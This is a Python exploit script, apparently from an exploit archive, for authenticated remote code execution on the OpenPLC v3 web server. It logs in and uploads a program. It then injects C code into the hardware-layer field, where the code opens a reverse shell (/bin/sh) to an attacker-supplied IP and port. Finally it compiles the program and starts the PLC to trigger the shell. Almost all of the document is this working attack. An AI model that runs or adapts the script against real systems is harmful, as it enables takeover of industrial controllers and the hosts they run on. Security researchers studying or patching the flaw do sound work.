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体验盒子# Exploit Title: OpenPLC 3 - Remote Code Execution (Authenticated)
# Date: 25/04/2021
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://www.openplcproject.com/
# Software Link: https://github.com/thiagoralves/OpenPLC_v3
# Version: OpenPLC v3
# Tested on: Ubuntu 16.04,Debian 9,Debian 10 Buster
#/usr/bin/python3
import requests
import sys
import time
import optparse
import re
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://target-uri:8080)")
parser.add_option('-l', '--user', action="store", dest="user", help="User credential to login")
parser.add_option('-p', '--passw', action="store", dest="passw", help="Pass credential to login")
parser.add_option('-i', '--rip', action="store", dest="rip", help="IP for Reverse Connection")
parser.add_option('-r', '--rport', action="store", dest="rport", help="Port for Reverse Connection")
options, args = parser.parse_args()
if not options.url:
print('[+] Remote Code Execution on OpenPLC_v3 WebServer')
print('[+] Specify an url target')
print("[+] Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444")
exit()
host = options.url
login = options.url + '/login'
upload_program = options.url + '/programs'
compile_program = options.url + '/compile-program?file=681871.st'
run_plc_server = options.url + '/start_plc'
user = options.user
password = options.passw
rev_ip = options.rip
rev_port = options.rport
x = requests.Session()
def auth():
print('[+] Remote Code Execution on OpenPLC_v3 WebServer')
time.sleep(1)
print('[+] Checking if host '+host+' is Up...')
host_up = x.get(host)
try:
if host_up.status_code == 200:
print('[+] Host Up! ...')
except:
print('[+] This host seems to be down :( ')
sys.exit(0)
print('[+] Trying to authenticate with credentials '+user+':'+password+'')
time.sleep(1)
submit = {
'username': user,
'password': password
}
x.post(login, data=submit)
response = x.get(upload_program)
if len(response.text) > 30000 and response.status_code == 200:
print('[+] Login success!')
time.sleep(1)
else:
print('[x] Login failed :(')
sys.exit(0)
def injection():
print('[+] PLC program uploading... ')
upload_url = host + "/upload-program"
upload_cookies = {"session": ".eJw9z7FuwjAUheFXqTx3CE5YInVI5RQR6V4rlSPrekEFXIKJ0yiASi7i3Zt26HamT-e_i83n6M-tyC_j1T-LzXEv8rt42opcIEOCCtgFysiWKZgic-otkK2XLr53zhQTylpiOC2cKTPkYt7NDSMlJJtv4NcO1Zq1wQhMqbYk9YokMSWgDgnK6qRXVevsbPC-1bZqicsJw2F2YeksTWiqANwkNFsQXdSKUlB16gIskMsbhF9_9yIe8_fBj_Gj9_3lv-Z69uNfkvgafD90O_H4ARVeT-s.YGvgPw.qwEcF3rMliGcTgQ4zI4RInBZrqE"}
upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------210749863411176965311768214500", "Origin": host, "Connection": "close", "Referer": host + "/programs", "Upgrade-Insecure-Requests": "1"}
upload_data = "-----------------------------210749863411176965311768214500\r\nContent-Disposition: form-data; name=\"file\"; filename=\"program.st\"\r\nContent-Type: application/vnd.sailingtracker.track\r\n\r\nPROGRAM prog0\nVAR\nvar_in : BOOL;\nvar_out : BOOL;\nEND_VAR\n\nvar_out := var_in;\nEND_PROGRAM\n\n\nCONFIGURATION Config0\n\nRESOURCE Res0 ON PLC\nTASK Main(INTERVAL := T#50ms,PRIORITY := 0);\nPROGRAM Inst0 WITH Main : prog0;\nEND_RESOURCE\nEND_CONFIGURATION\n\r\n-----------------------------210749863411176965311768214500\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nUpload Program\r\n-----------------------------210749863411176965311768214500--\r\n"
upload = x.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data)
act_url = host + "/upload-program-action"
act_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------374516738927889180582770224000", "Origin": host, "Connection": "close", "Referer": host + "/upload-program", "Upgrade-Insecure-Requests": "1"}
act_data = "-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_name\"\r\n\r\nprogram.st\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_descr\"\r\n\r\n\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"prog_file\"\r\n\r\n681871.st\r\n-----------------------------374516738927889180582770224000\r\nContent-Disposition: form-data; name=\"epoch_time\"\r\n\r\n1617682656\r\n-----------------------------374516738927889180582770224000--\r\n"
upload_act = x.post(act_url, headers=act_headers, data=act_data)
time.sleep(2)
def connection():
print('[+] Attempt to Code injection...')
inject_url = host + "/hardware"
inject_dash = host + "/dashboard"
inject_cookies = {"session": ".eJw9z7FuwjAUheFXqTx3CE5YInVI5RQR6V4rlSPrekEFXIKJ0yiASi7i3Zt26HamT-e_i83n6M-tyC_j1T-LzXEv8rt42opcIEOCCtgFysiWKZgic-otkK2XLr53zhQTylpiOC2cKTPkYt7NDSMlJJtv4NcO1Zq1wQhMqbYk9YokMSWgDgnK6qRXVevsbPC-1bZqicsJw2F2YeksTWiqANwkNFsQXdSKUlB16gIskMsbhF9_9yIe8_fBj_Gj9_3lv-Z69uNfkvgafD90O_H4ARVeT-s.YGvyFA.2NQ7ZYcNZ74ci2miLkefHCai2Fk"}
inject_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------289530314119386812901408558722", "Origin": host, "Connection": "close", "Referer": host + "/hardware", "Upgrade-Insecure-Requests": "1"}
inject_data = "-----------------------------289530314119386812901408558722\r\nContent-Disposition: form-data; name=\"hardware_layer\"\r\n\r\nblank_linux\r\n-----------------------------289530314119386812901408558722\r\nContent-Disposition: form-data; name=\"custom_layer_code\"\r\n\r\n#include \"ladder.h\"\r\n#include <stdio.h>\r\n#include <sys/socket.h>\r\n#include <sys/types.h>\r\n#include <stdlib.h>\r\n#include <unistd.h>\r\n#include <netinet/in.h>\r\n#include <arpa/inet.h>\r\n\r\n\r\n//-----------------------------------------------------------------------------\r\n\r\n//-----------------------------------------------------------------------------\r\nint ignored_bool_inputs[] = {-1};\r\nint ignored_bool_outputs[] = {-1};\r\nint ignored_int_inputs[] = {-1};\r\nint ignored_int_outputs[] = {-1};\r\n\r\n//-----------------------------------------------------------------------------\r\n\r\n//-----------------------------------------------------------------------------\r\nvoid initCustomLayer()\r\n{\r\n \r\n\r\n\r\n}\r\n\r\n\r\nvoid updateCustomIn()\r\n{\r\n\r\n}\r\n\r\n\r\nvoid updateCustomOut()\r\n{\r\nint port = "+rev_port+";\r\nstruct sockaddr_in revsockaddr;\r\n\r\nint sockt = socket(AF_INET, SOCK_STREAM, 0);\r\nrevsockaddr.sin_family = AF_INET; \r\nrevsockaddr.sin_port = htons(port);\r\nrevsockaddr.sin_addr.s_addr = inet_addr(\""+rev_ip+"\");\r\n\r\nconnect(sockt, (struct sockaddr *) &revsockaddr, \r\nsizeof(revsockaddr));\r\ndup2(sockt, 0);\r\ndup2(sockt, 1);\r\ndup2(sockt, 2);\r\n\r\nchar * const argv[] = {\"/bin/sh\", NULL};\r\nexecve(\"/bin/sh\", argv, NULL);\r\n\r\nreturn 0;\r\n\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----------------------------289530314119386812901408558722--\r\n"
inject = x.post(inject_url, headers=inject_headers, cookies=inject_cookies, data=inject_data)
time.sleep(3)
comp = x.get(compile_program)
time.sleep(6)
x.get(inject_dash)
time.sleep(3)
print('[+] Spawning Reverse Shell...')
start = x.get(run_plc_server)
time.sleep(1)
if start.status_code == 200:
print('[+] Reverse connection receveid!')
sys.exit(0)
else:
print('[+] Failed to receive connection :(')
sys.exit(0)
auth()
injection()
connection()
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